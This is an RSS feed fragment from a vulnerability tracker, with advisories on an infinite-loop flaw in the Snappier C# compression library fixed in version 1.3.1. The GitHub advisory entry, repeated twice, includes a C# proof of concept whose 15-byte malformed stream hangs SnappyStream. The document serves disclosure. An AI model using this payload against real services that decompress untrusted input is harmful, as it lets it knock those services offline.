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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
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    <item>
      <title>EUVD-2026-319281</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-319281</link>
      <description>EUVD-2026-319281</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-319281</guid>
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    <item>
      <title>fkie_cve-2026-44302</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-44302</link>
      <description>&lt;p&gt;Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-44302</guid>
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    <item>
      <title>GHSA-pggp-6c3x-2xmx — Snappier has an infinite loop during SnappyStream decompression with malformed framed input</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-pggp-6c3x-2xmx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; NuGet: Snappier&lt;/p&gt;
&lt;p&gt;### Summary
`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.&lt;/p&gt;
&lt;p&gt;### Details
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.&lt;/p&gt;
&lt;p&gt;### PoC
```csharp
using System.IO.Compression;
using Snappier;&lt;/p&gt;
&lt;p&gt;byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns
```&lt;/p&gt;
&lt;p&gt;### Impact
A caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can&amp;#39;t recover (no exception is thrown).&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; NuGet: Snappier&lt;/p&gt;
&lt;p&gt;### Summary
`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.&lt;/p&gt;
&lt;p&gt;### Details
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.&lt;/p&gt;
&lt;p&gt;### PoC
```csharp
using System.IO.Compression;
using Snappier;&lt;/p&gt;
&lt;p&gt;byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns
```&lt;/p&gt;
&lt;p&gt;### Impact
A caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can&amp;#39;t recover (no exception is thrown).&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-pggp-6c3x-2xmx</guid>
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